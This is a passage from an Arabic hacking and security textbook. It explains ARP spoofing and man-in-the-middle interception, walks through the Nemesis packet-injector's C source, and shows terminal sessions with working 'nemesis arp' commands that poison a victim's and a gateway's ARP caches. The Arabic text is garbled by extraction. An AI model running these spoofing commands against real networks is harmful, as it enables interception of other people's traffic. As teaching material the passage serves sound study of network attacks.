‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[227]

‫متتلك‬ ‫أن‬
Access
‫ال‬ ‫ذذا‬ ‫عىل‬
Switch
‫ال‬ ‫طاصية‬ ‫بتفعيل‬ ‫قتقوم‬
Port Mirroring
‫ه‬‫ب‬
‫ُسخ‬‫ن‬ ‫بإرسال‬ ‫ليقوم‬
‫ة‬
‫ال‬ ‫من‬
network traffic
‫ال‬ ‫لىل‬
port
‫الذي‬
‫به‬ ‫هازك‬‫ج‬ ‫ط‬‫َرب‬‫ت‬ ‫م‬ُ‫ث‬ ‫أنت‬ ‫دده‬ ُ
‫حت‬
.
‫ال‬ ‫يوضح‬ ‫الشكل‬ ‫ذذا‬
port mirroring
:

‫الثانية‬ ‫والطريقة‬
‫ل‬َ‫م‬َ‫ع‬ ‫طريق‬ ‫عن‬ ‫تكون‬
"
ARP Spoofing
"
.
‫و‬
‫يتم‬
‫ذلك‬
‫أحدذم‬ ‫لرسال‬ ‫طريق‬ ‫عن‬
ARP Reply
‫لىل‬
‫ال‬ ‫رؤية‬ ‫ريد‬ُ‫ي‬ ‫التي‬ ‫األجهزة‬
traffic
‫ِب‬ ‫اخلاص‬
‫م‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[228]
‫حدوث‬ ‫لىل‬ ‫ذلك‬ ‫يؤدي‬
overwritten
‫لل‬
ARP Cache
‫اخلاص‬
‫ة‬
‫اجلديد‬ ‫بالبيانات‬ ‫م‬‫ِب‬
‫ة‬
‫بال‬ ‫اخلاصة‬
Attacker
‫ما‬ ‫وذذا‬ .
‫بال‬ ‫عليه‬ ‫ق‬َ‫ل‬‫ط‬ُ‫ي‬
ARP Poisoning
.
‫ال‬ َ‫م‬‫قا‬ ‫ققد‬ ‫ترى‬ ‫كام‬
Attacker
‫بعمل‬
overwritten
‫لل‬
ARP Cache
‫باليوزر‬ ‫اخلاصة‬
Bob
‫ال‬ ‫ُون‬‫ك‬‫(لي‬
IP
‫ب‬ ‫اخلاص‬
Alice
‫ال‬ ‫قابله‬ُ‫ي‬
MAC
‫بال‬ ‫اخلاص‬
Attacker
،)
‫وأ‬
‫ال‬ ‫نفس‬ ‫بإرسال‬ ‫قام‬ ً‫ا‬‫يض‬
ARP Reply
‫لليوزر‬
Alice
‫ال‬ ‫تغيري‬ ‫ليتم‬
ARP Cache
‫ال‬ ‫(قأصبح‬ ،‫لدهيا‬
IP
‫ب‬ ‫اخلاص‬
Bob
‫ال‬ ‫يقابله‬
MAC
‫بال‬ ‫اخلاص‬
Attacker
.!)
‫بني‬ ‫التواصل‬ ‫عملية‬ ‫ل‬ِّ‫ط‬‫ع‬ُ‫ي‬ ‫لن‬ ‫ذذا‬
Bob
‫و‬
Alice
‫ال‬ َ‫رب‬َ‫ع‬ ‫ولكن‬ ‫ستتم‬ ،
Attacker
‫البيانات‬ ‫وصول‬ ‫قبعد‬ .
‫ال‬ ‫لىل‬
Attacker
،
‫سيقوم‬
‫ال‬ ‫بتعديل‬
Headers
‫ال‬ ‫لاىل‬ ‫ولرجاعهم‬ ‫أطرى‬ ً‫ة‬‫مر‬
Switch
‫لىل‬ ‫بتوصيلهم‬ ‫ليقوم‬
Alice
‫و‬
Bob
.
‫ال‬ ‫أن‬ ‫وبام‬
Switch
‫بال‬ ‫يتعامل‬
MAC
.‫احلادث‬ ‫اخللل‬ ‫الحظ‬ُ‫ي‬ ‫قلن‬ ‫ققط‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[229]
‫ال‬ ‫ذذه‬ ‫ولكن‬
ARP Cache
‫هلا‬
timeout
‫كذلك؟‬ ‫أليس‬ ،‫لدهيا‬ ‫البيانات‬ ‫ِبذه‬ ‫لإلحتفاظ‬ ‫دد‬ ُ
‫حم‬
‫ال‬ ‫ذذا‬ ً‫ا‬‫تقريب‬ ..
timeout
‫تكو‬
ُ‫ه‬‫مدت‬ ‫ن‬
30 Seconds
،
‫ال‬ ‫عملية‬ ‫عىل‬ ‫ُحاقظ‬‫ن‬ ‫ولكي‬
Redirection
‫بإرسال‬ ‫قسنقوم‬ ‫ذذه‬
"
Spoofed ARP Replies
"
‫كل‬
10 Seconds
.ً‫ال‬‫مث‬
‫ال‬ ‫لظهار‬ ‫ن‬‫م‬ ً‫ا‬‫كثري‬ ‫نستفيد‬ ‫لن‬ ‫ذذا‬ ‫ثالنا‬‫م‬ ‫يف‬ ‫ولكن‬
traffic
‫بني‬ ‫املار‬
Bob
‫و‬
Alice
،
‫ال‬ ‫تابعة‬ُ‫م‬ ‫لنا‬ ‫األقضل‬ ‫من‬ ‫سيكون‬
traffic
‫ال‬ ‫أحد‬ ‫بني‬
users
‫و‬
‫ال‬ ‫بني‬
Gateway
‫ال‬ ‫ذذا‬ ‫طة‬‫أنش‬ ‫ف‬‫َعر‬‫ن‬ ‫كي‬
user
.‫االنرتنت‬ ‫عىل‬
‫ال‬ ‫أداة‬ ‫لذلك‬ ‫نستخدم‬
Ettercap
‫وال‬ ‫اللينكس‬ ‫أنظمة‬ ‫عىل‬ ‫تعمل‬ ‫مشهورة‬ ‫أداة‬ ‫وذي‬
MAC
.
‫ال‬ ‫أداة‬ ً‫ا‬‫أيض‬
Nemesis
‫بعمل‬ ‫تقوم‬
"
craft and enject packets
"
.‫الشبكة‬ ‫داطل‬
‫ال‬ ‫من‬ ‫جمموعة‬ ‫عىل‬ ‫يعتمد‬ ‫الذم‬‫وك‬
Libraries
‫ا‬ ‫أشهرذا‬
‫ل‬
Libnet.c
‫ال‬ ‫و‬
Libpcap.c
،
.)‫قليل‬ ‫بعد‬ ‫م‬ُ‫هل‬ ‫(سنأيت‬
‫ل‬
‫ن‬
‫أردت‬
‫جتر‬
‫ب‬
‫ة‬
‫ال‬
Ettercap
‫ستجد‬
‫يف‬
Google
‫باللغة‬ ‫الفيديو‬ ‫وملفات‬ ‫الرشوحات‬ ‫من‬ ‫العديد‬
‫ترشح‬ ‫العربية‬
‫لك‬
‫طريقة‬
‫استخدامها‬
..
‫أن‬ ُ
‫وحيث‬
‫ذدق‬
‫نا‬
‫قهم‬
‫قلسفة‬
‫ال‬
ARP Poisoning
،
‫ال‬ ‫ملفات‬ ‫بفتح‬ ‫قسنبدأ‬
Source
‫األ‬ ‫ذذه‬ ‫أحد‬‫ب‬ ‫اخلاصة‬
‫دوات‬
!‫عملها‬ ‫آلية‬ ‫وحتليل‬
.
Inside Nemesis tool
‫ال‬ ‫ملفات‬ ‫عىل‬ ‫واإلطالع‬ ‫األداة‬ ‫بتحميل‬ ‫سنقوم‬
Source
‫ال‬ ‫ُشاذد‬‫ن‬‫ل‬ ‫ِبا‬ ‫اخلاصة‬
Functions
‫ونفهم‬ ‫ستخدمة‬ُ‫مل‬‫ا‬
.‫عملها‬ ‫ميكانيكية‬
‫ال‬ ‫أداة‬ ‫صفحة‬ ‫ذذه‬
Nemesis
.ً‫ا‬‫أيض‬ ‫الويندوز‬ ‫بيئة‬ ‫يف‬ ‫تعمل‬ ‫األداة‬ ‫ذذه‬ :‫االنرتنت‬ ‫عىل‬
http://nemesis.sourceforge.net/
‫نبذ‬ ‫وذذه‬
‫ة‬
‫عنها‬ ‫ِسيعة‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[230]
“Nemesis is a command-line network packet crafting and injection utility.
Nemesis can natively craft and inject ARP, DNS, ETHERNET, ICMP, IGMP, IP, OSPF, RIP,
TCP and UDP packets”.
Using the IP and the Ethernet injection modes, almost any custom packet can be crafted and
injected.
‫ال‬ ‫ملف‬ ‫شكل‬ ‫وذذا‬
Source
:‫حتميله‬ ‫بعد‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[231]
‫بال‬ ‫هتمني‬ُ‫م‬ ‫أننا‬ ‫بام‬
ARP Poison
،
‫امللف‬ ‫بفتح‬ ‫سنقوم‬
nemesis-arp.c
:‫توياته‬ ُ
‫حم‬ ‫بعض‬ ‫لك‬ ‫ض‬‫َعر‬‫ن‬‫و‬ ،‫بالشكل‬ ‫املوجود‬
/*
* $Id: nemesis-arp.c,v 1.1.1.1 2003/10/31 21:29:36 jnathan Exp $
*
* THE NEMESIS PROJECT
* Copyright (C) 1999, 2000, 2001 Mark Grimes <mark@stateful.net>
* Copyright (C) 2001 - 2003 Jeff Nathan <jeff@snort.org>
*
* nemesis-arp.c (ARP/RARP Packet Injector)
*
*/
#include "nemesis-arp.h"
#include "nemesis.h"
#if defined(WIN32)
#include <pcap.h>
#endif
static ETHERhdr etherhdr;
static ARPhdr arphdr;
... (omitted)
void nemesis_arp(int argc, char **argv)
{
const char *module= "ARP/RARP Packet Injection";
nemesis_maketitle(title, module, version);
if (argc > 1 && !strncmp(argv[1], "help", 4))
arp_usage(argv[0]);
arp_initdata();
arp_cmdline(argc, argv);
arp_validatedata();
arp_verbose();
if (got_payload)
{
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[232]
if (builddatafromfile(ARPBUFFSIZE, &pd, (const char *)file,
(const u_int32_t)PAYLOADMODE) < 0)
arp_exit(1);
}
if (buildarp(&etherhdr, &arphdr, &pd, device, reply) < 0)
{
printf("n%s Injection Failuren", (rarp == 0 ? "ARP" : "RARP"));
arp_exit(1);
}
else
{
printf("n%s Packet Injectedn", (rarp == 0 ? "ARP" : "RARP"));
arp_exit(0);
}
}
‫بال‬ ‫اخلاص‬ ‫امللف‬ ‫ذلك‬ ‫كان‬
nemesis_arp( )
.
‫ال‬ ‫ذذه‬ ‫م‬‫َستخد‬‫ت‬
function
‫ال‬ ‫من‬ ‫جمموعة‬
data structures
‫ال‬ ‫ببيانات‬ ‫طاصة‬
packet header
،
‫بداية‬ ‫يف‬ ‫تعريفهم‬ ‫تم‬
‫ال‬
function
،
.‫قليل‬ ‫بعد‬ ‫م‬ُ‫هل‬ ‫سنأيت‬
‫ث‬ُ‫د‬ َ
‫حي‬ َ
‫كيف‬ ‫ولكن‬
Call
‫ال‬ ‫هلذه‬
nemesis_arp( )
‫؟‬..
‫ال‬ ‫ذذه‬
function
‫هلا‬ ‫ث‬ُ‫د‬ َ
‫حي‬
call
‫ال‬ ‫من‬
main( )
،
‫املوجود‬
‫ة‬
‫امللف‬ ‫يف‬
nemesis.c
:‫ييل‬ ‫كام‬
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include "nemesis.h"
int main(int argc, char **argv)
{
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[233]
char **avtmp, *avval;
extern int optind;
avtmp = argv;
avval = strrchr(*avtmp, '/');
if (avval++ == NULL)
avval = *avtmp;
if (!strncmp(avval, "nemesis-arp", 11))
{
nemesis_arp(argc, argv);
}
else if (argc > 1 && !strncmp(argv[1], "arp", 3))
{
argv += optind;
argc -= optind;
nemesis_arp(argc, argv);
}
…
‫ال‬ ‫لىل‬ ‫نعود‬
nemesis_arp( )
:‫جديد‬ ‫ن‬‫م‬
‫الب‬ ‫يف‬ ‫ظ‬‫ُالح‬‫ن‬
‫ال‬ ‫من‬ ‫جمموعة‬ ‫استدعاء‬ ‫عملية‬ ‫داية‬
"
Static defined Structures
"
‫ال‬ ‫لبعض‬
Headers
:
Ethernet and ARP Headers.. and more.
‫ال‬ ‫بإظهار‬ ‫سنكتفي‬ ‫لكننا‬
structures
‫ال‬ ‫عن‬ ِّ
‫ُعرب‬‫ت‬ ‫التي‬
Ethernet
‫وال‬
ARP
.‫ققط‬
static ETHERhdr etherhdr;
static ARPhdr arphdr;
‫من‬ ‫استدعائهم‬ ‫يتم‬
‫امللف‬
nemesis.h
..
‫ال‬ ‫ذذه‬ ‫وتقوم‬
function
‫بعمل‬
call
‫ألربعة‬
functions
:‫م‬ُ‫ذ‬ ،‫عملها‬ ‫عند‬ ‫طرى‬ُ‫أ‬
arp_initdata();
arp_cmdline(argc, argv);
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[234]
arp_validatedata();
arp_verbose();
‫ال‬ ‫ذذه‬
functions
‫موجود‬
‫ة‬
‫امللف‬ ‫نفس‬ ‫يف‬
nemesis-arp.c
:‫تتابعه‬ُ‫م‬ ‫بأدوار‬ ‫سيقوموا‬..
‫قا‬
‫ألوىل‬
‫بعمل‬ ‫تقوم‬
initialize
‫لل‬
data
‫اخلاص‬
‫ة‬
‫بال‬
structures
‫املطلوب‬
‫ة‬
‫ثم‬ ،
‫الثانية‬
‫ال‬ ‫مع‬ ‫بالتعامل‬ ‫تقوم‬
cmd-line
arguments
،
‫والثالث‬
‫ة‬
‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫البيانات‬ ‫حة‬‫ص‬ ‫ن‬‫م‬ ‫ُد‬‫ك‬‫للتأ‬
‫ة‬
،
‫والرابع‬
‫ة‬
‫بال‬ ‫طاصة‬
reporting
.
‫ال‬ ‫حمتويات‬ ‫لك‬ ‫سأعرض‬
arp_initdata( )
‫ال‬ ‫لرتى‬
elements
‫اخلاصة‬
‫بال‬
header structures
static void arp_initdata(void)
{
/* defaults */
etherhdr.ether_type = ETHERTYPE_ARP; /* Ethernet type ARP */
memset(etherhdr.ether_shost, 0, 6); /* Ethernet source address */
memset(etherhdr.ether_dhost, 0xff, 6); /* Ethernet dest. address */
arphdr.ar_op = ARPOP_REQUEST; /* ARP opcode: request */
arphdr.ar_hrd = ARPHRD_ETHER; /* hardware format: Ethernet */
arphdr.ar_pro = ETHERTYPE_IP; /* protocol format: IP */
arphdr.ar_hln = 6; /* 6 byte hardware addresses */
arphdr.ar_pln = 4; /* 4 byte protocol addresses */
memset(arphdr.ar_sha, 0, 6); /* ARP frame sender address */
memset(arphdr.ar_spa, 0, 4); /* ARP sender protocol (IP) addr */
memset(arphdr.ar_tha, 0, 6); /* ARP frame target address */
memset(arphdr.ar_tpa, 0, 4); /* ARP target protocol (IP) addr */
pd.file_mem = NULL;
pd.file_s = 0;
return;
}
‫ال‬ ‫شكل‬ ً‫ا‬‫مع‬ ‫ُشاذد‬‫ن‬ َ
‫س‬ .. ،‫واآلن‬
Arguments
‫ال‬ ‫ذذه‬ ‫لها‬‫َقب‬‫ت‬‫َس‬‫ت‬ َ
‫س‬ ‫التي‬
function
:‫األمور‬ ‫لنا‬ ‫ح‬ َ
‫َض‬‫ت‬‫ل‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[235]
‫عمل‬َ‫ب‬ ‫نقوم‬ ‫أن‬ َ‫عد‬َ‫ب‬
ping
‫ال‬ ‫حتويل‬ ‫راد‬ُ‫مل‬‫ا‬ ‫للجهاز‬
traffic
‫به‬ ‫اخلاص‬
‫لل‬ ً‫ا‬‫وأيض‬
Gateway
ً‫ة‬‫نتيج‬ ‫سيتولد‬ ،‫الشبكة‬ ‫يف‬
‫لذلك‬
entry
‫ال‬ ‫يف‬
arp cache
‫ال‬ ‫ِبا‬ ‫لدينا‬
IP Addresses
‫ال‬ ‫مع‬ ‫ِبم‬ ‫اخلاصة‬
MAC
.ً‫ا‬‫أيض‬
reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1): 56 octets data
64 octets from 192.168.0.1: icmp_seq=0 ttl=64 time=0.4 ms
--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
reader@hacking:~/booksrc $ ping -c 1 -w 1 192.168.0.118
PING 192.168.0.118 (192.168.0.118): 56 octets data
64 octets from 192.168.0.118: icmp_seq=0 ttl=128 time=0.4 ms
--- 192.168.0.118 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max = 0.4/0.4/0.4 ms
reader@hacking:~/booksrc $ arp -na
? (192.168.0.1) at 00:50:18:00:0F:01 [ether] on eth0
? (192.168.0.118) at 00:C0:F0:79:3D:30 [ether] on eth0
reader@hacking:~/booksrc $ ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:00:AD:D1:C7:ED
inet addr:192.168.0.193 Bcast:192.168.0.255 Mask:255.255.255.0
UP BROADCAST NOTRAILERS RUNNING MTU:1500 Metric:1
RX packets:4153 errors:0 dropped:0 overruns:0 frame:0
TX packets:3875 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:601686 (587.5 Kb) TX bytes:288567 (281.8 Kb)
Interrupt:9 Base address:0xc000
reader@hacking:~/booksrc $
‫األمر‬ ‫تنفيذ‬ ‫بعد‬
"
arp –na
"
‫وال‬ ‫هاز‬‫اجل‬ ‫ن‬‫م‬ ٍ‫ُل‬‫ك‬ ‫عناوين‬ ‫لنا‬ َ‫ر‬َ‫ه‬َ‫ظ‬
gateway
‫عمل‬ ‫راد‬ُ‫مل‬‫ا‬
MITM Attack
.‫عليهم‬
‫ال‬ ‫تشغيل‬‫ب‬ ‫نقوم‬ َ
‫س‬
nemesis
:‫ييل‬ ‫كام‬ ‫عليهم‬ ‫اهلجوم‬ ‫وتنفيذ‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[236]
Running Nemesis
reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S
192.168.0.1 –D 192.168.0.118 -h 00:00:AD:D1:C7:ED -m 00:C0:F0:79:3D:30
-H 00:00:AD:D1:C7:ED -M 00:C0:F0:79:3D:30
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4
[MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[Ethernet type] ARP (0x0806)
[Protocol addr:IP] 192.168.0.1 > 192.168.0.118
[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:C0:F0:79:3D:30
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
[ARP protocol len] 6
[ARP hardware len] 4
Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB
ARP Packet Injected
reader@hacking:~/booksrc $ sudo nemesis arp -v -r -d eth0 -S
192.168.0.118 -D
192.168.0.1 -h 00:00:AD:D1:C7:ED -m 00:50:18:00:0F:01 -H
00:00:AD:D1:C7:ED -M
00:50:18:00:0F:01
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4
[MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[Ethernet type] ARP (0x0806)
[Protocol addr:IP] 192.168.0.118 > 192.168.0.1
[Hardware addr:MAC] 00:00:AD:D1:C7:ED > 00:50:18:00:0F:01
[ARP opcode] Reply
[ARP hardware fmt] Ethernet (1)
[ARP proto format] IP (0x0800)
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[237]
[ARP protocol len] 6
[ARP hardware len] 4
Wrote 42 byte unicast ARP request packet through linktype DLT_EN10MB.
ARP Packet Injected
reader@hacking:~/booksrc $
‫لقد‬
‫ال‬ ‫بعض‬ ‫باستخدام‬ ‫منا‬ُ‫ق‬
options
‫ال‬ ‫ذذا‬ ‫يف‬
command
‫ال‬ ‫من‬ ‫جزء‬ ‫لك‬ ‫سأعرض‬ ،
man page
‫تفهم‬‫ل‬ ‫ِبا‬ ‫اخلاصة‬
.‫دالالهتم‬
reader@hacking:~/booksrc $ nemesis arp help
ARP/RARP Packet Injection -=- The NEMESIS Project Version 1.4(Build
26)
ARP/RARP Usage:
arp [-v (verbose)] [options]
ARP/RARP Options:
-S <Source IP address>
-D <Destination IP address>
-h <Sender MAC address within ARP frame>
-m <Target MAC address within ARP frame>
-r ({ARP,RARP} REPLY enable)
-R (RARP enable)
-P <Payload file>
Data Link Options:
-d <Ethernet device name>
-H <Source MAC address>
-M <Destination MAC address>
You must define a Source and Destination IP address.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[238]
‫األدا‬ ‫ذذه‬ ‫تعمل‬ ‫كيف‬ ‫قنا‬ َ‫ر‬َ‫ع‬ ‫لقد‬
‫ة‬
‫ال‬ ‫لىل‬ ‫َعود‬‫ن‬‫ل‬ ‫ذيا‬ ،
function
‫بال‬ ‫اخلاصة‬
ARP Poison
‫وذي‬
Nemesis_arp( )
.‫دورذا‬ ‫لنستكمل‬
‫عمل‬ ‫بعد‬
call
‫لألربعة‬
functions
‫ال‬ ‫استدعاء‬ ‫النهاية‬ ‫يف‬ ‫يتم‬ ،ً‫ا‬‫سابق‬ ‫أوضحناذا‬ ‫التي‬
buildarp( )
‫ستقوم‬ ‫والتي‬
‫ال‬ ‫بتكوين‬
ARP Packet
‫وعمل‬
inject
.‫ا‬ َ‫هل‬
:‫الشكل‬ ‫يف‬ ‫ترى‬ ‫كام‬ ‫ستقل‬ُ‫م‬ ‫ملف‬ ‫يف‬ ‫توجد‬
“nemesis-proto_arp.c”
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[239]
int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char
*device, int reply)
{
int n = 0;
u_int32_t arp_packetlen;
static u_int8_t *pkt;
struct libnet_link_int *l2 = NULL;
/* validation tests */
if (pd->file_mem == NULL)
pd->file_s = 0;
arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s;
#ifdef DEBUG
printf("DEBUG: ARP packet length %u.n", arp_packetlen);
printf("DEBUG: ARP payload size %u.n", pd->file_s);
#endif
if ((l2 = libnet_open_link_interface(device, errbuf)) == NULL)
{
nemesis_device_failure(INJECTION_LINK, (const char *)device);
return -1;
}
if (libnet_init_packet(arp_packetlen, &pkt) == -1)
{
fprintf(stderr, "ERROR: Unable to allocate packet memory.n");
return -1;
}
libnet_build_ethernet(eth->ether_dhost, eth->ether_shost,
eth->ether_type NULL, 0, pkt);
libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln,
arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa,
arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s,
pkt + LIBNET_ETH_H);
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[240]
n = libnet_write_link_layer(l2, device, pkt, LIBNET_ETH_H +
LIBNET_ARP_H + pd->file_s);
if (verbose == 2)
nemesis_hexdump(pkt, arp_packetlen, HEX_ASCII_DECODE);
if (verbose == 3)
nemesis_hexdump(pkt, arp_packetlen, HEX_RAW_DECODE);
if (n != arp_packetlen)
{
fprintf(stderr, "ERROR: Incomplete packet injection. Only "
"wrote %d bytes.n", n);
}
else
{
if (verbose)
{
if (memcmp(eth->ether_dhost, (void *)&one, 6))
{
printf("Wrote %d byte unicast ARP request packet through "
"linktype %s.n", n,
nemesis_lookup_linktype(l2->linktype));
}
else
{
printf("Wrote %d byte %s packet through linktype %s.n",
n,(eth->ether_type == ETHERTYPE_ARP ? "ARP" :
"RARP"), nemesis_lookup_linktype(l2->linktype));
}
}
}
libnet_destroy_packet(&pkt);
if (l2 != NULL)
libnet_close_link_interface(l2);
return (n);
}
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[241]
‫ال‬ ‫ذذه‬ ‫أن‬ ‫ام‬‫وب‬
function
‫ال‬ ‫تكوين‬‫ب‬ ‫ستقوم‬
packet
‫وعمل‬
inject
‫ال‬ ‫تأطذ‬ ‫أهنا‬ ‫توقع‬ُ‫مل‬‫ا‬ ‫ن‬‫م‬َ‫ق‬ ،‫الشبكة‬ ‫كارت‬ ‫عرب‬ ‫هلا‬
Arguments
‫التالي‬
‫ة‬
:
int buildarp(ETHERhdr *eth, ARPhdr *arp, FileData *pd, char
*device, int reply)
‫ال‬ ‫الستخدام‬ ‫ستحتاج‬
"
Ethernet Header Structure
"
‫ال‬ ً‫ا‬‫وأيض‬
"
ARP Header Structure
"
‫ال‬ ‫من‬
Nemesis.h
Lib
.
‫سنقوم‬
‫ب‬
‫ال‬ ‫من‬ ‫جمموعة‬ ‫عىل‬ ‫الضوء‬ ‫تسليط‬
functions
‫التي‬
:‫الكود‬ ‫ذذا‬ ‫يف‬ ‫حموري‬ ‫بدور‬ ‫تقوم‬
1- libnet_open_link_interface()
2- libnet_init_packet()
3- libnet_build_ethernet()
4- libnet_build_arp()
5- libnet_write_link_layer()
(1)
:‫وذي‬ ‫باألوىل‬ ‫نبدأ‬
libnet_open_link_interface(device, errbuf)
‫ذذه‬ َ
‫َرب‬‫ت‬‫ُع‬‫ت‬
"
low-level function
،"
‫بفتح‬ ‫تقوم‬
packet interface
‫ال‬ ‫كتابة‬ ‫نستطيع‬ ‫كي‬
Frame
‫بال‬ ‫اخلاص‬
Link-
Layer
.
‫ذ‬ ُ
‫تأط‬ ‫قهي‬
Arguments
‫لل‬
interface device
‫وال‬
error buffer
‫ال‬ ‫يف‬ ‫عنه‬ ‫تكلمنا‬ ‫الذي‬
sniffer
.‫قبل‬ ‫من‬
(2)
:‫للثانية‬ ‫نأيت‬ ‫ثم‬
(
libnet_init_packet(arp_packetlen, &pkt
‫بعمل‬ ‫تقوم‬ ‫أهنا‬ ‫اإلسم‬ ‫من‬ ‫واضح‬
initialize
‫لل‬
packet
‫ا‬ ‫يتم‬ ‫كي‬
.‫ستخدامها‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[242]
‫ذذا‬
‫ال‬
argument
‫األول‬
“arp_packetlen”
..
‫َعريفه‬‫ت‬ ‫َم‬‫ت‬ ‫تغري‬ُ‫م‬ ‫عن‬ ‫باره‬‫ع‬
‫بد‬ ‫يف‬
‫ال‬ ‫حجم‬ ‫ه‬‫ب‬ ‫ع‬ َ
‫َض‬‫ن‬‫ل‬ ‫الكود‬ ‫اية‬
ARP Packet
:
u_int32_t arp_packetlen;
arp_packetlen = LIBNET_ARP_H + LIBNET_ETH_H + pd->file_s;
‫ال‬ ‫تغري‬ُ‫مل‬‫ا‬ ‫ذذا‬ ‫سيحوي‬
ARP Header
‫ال‬ ‫و‬
Ethernet Header
‫ال‬ ‫و‬
ARP Payload Size
‫والثاين‬
“&pkt”
‫ال‬ ‫ذو‬
(Address of this packet in memory)
.
‫ال‬ ‫ذذه‬ ‫وظيفة‬ ‫ص‬ّ‫تتلخ‬ ..‫هم‬ُ‫مل‬‫ا‬
function
‫بعمل‬ ‫تقوم‬ ‫بأهنا‬
memory allocation
‫لل‬
packet
،‫استخدامها‬ ‫راد‬ُ‫مل‬‫ا‬
‫لعمل‬ ‫بحاجة‬ ‫سنكون‬ ‫وبالتايل‬
call
‫لل‬ ‫ما‬ ٍ‫بشكل‬
malloc( )
‫ال‬ ‫ذذه‬ ‫ر‬‫تتذك‬ ‫ذل‬ ..
malloc( )
.‫؟؟‬
‫ال‬ ‫عملية‬ ‫أن‬ ‫تعلم‬ ‫كام‬
allocation
‫نستخدم‬ ‫أن‬ ‫املطلوب‬ ‫انتهاء‬ ‫بعد‬ ‫حتتاج‬
‫ال‬
Free( )
‫لعمل‬
Destroy
‫لل‬
memory
.
‫استخدام‬ ‫جري‬َ‫ي‬ َ
‫س‬َ‫ق‬
function
‫لذلك‬
‫لهنا‬ ،
libnet_destroy_packet( )
‫يف‬ ‫جتدذا‬
.‫الكود‬ ‫آطر‬
(3)
:‫والثالثه‬
libnet_build_ethernet(eth->ether_dhost, eth->ether_shost,
eth->ether_type NULL, 0, pkt);
‫ب‬ ‫ذذه‬ ‫تقوم‬
‫ال‬ ‫تكوين‬
Ethernet Packet
‫ال‬ ‫تستخدم‬ ‫قهي‬ ،
Elements
‫اخلاص‬
‫ة‬
‫بال‬
ethernet struct
.
‫ال‬ ‫ذذا‬ ‫أما‬
ether_type
‫ال‬ ‫نوع‬ ‫عىل‬ ‫ل‬ُ‫د‬َ‫ي‬َ‫ق‬
ether packet
..
"
ARP, or IP
"
(4)
‫الرابع‬ ‫ثم‬
‫ة‬
:
libnet_build_arp(arp->ar_hrd, arp->ar_pro, arp->ar_hln,
arp->ar_pln, arp->ar_op, arp->ar_sha, arp->ar_spa,
arp->ar_tha, arp->ar_tpa, pd->file_mem, pd->file_s,
pkt + LIBNET_ETH_H);
‫الثالث‬ ‫تشبه‬ ‫ذذه‬
‫ة‬
‫ال‬ ‫تكوين‬‫ب‬ ‫ستقوم‬ ‫ولكنها‬ ..
ARP Packet
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Security & Attacks
[243]
‫لل‬ ‫توضيح‬ ‫ماييل‬
Elements
‫ال‬ ‫ذذه‬ ‫يف‬ ‫ستخدمة‬ُ‫مل‬‫ا‬
function
:
hardware address type, protocol address type, the hardware address length,
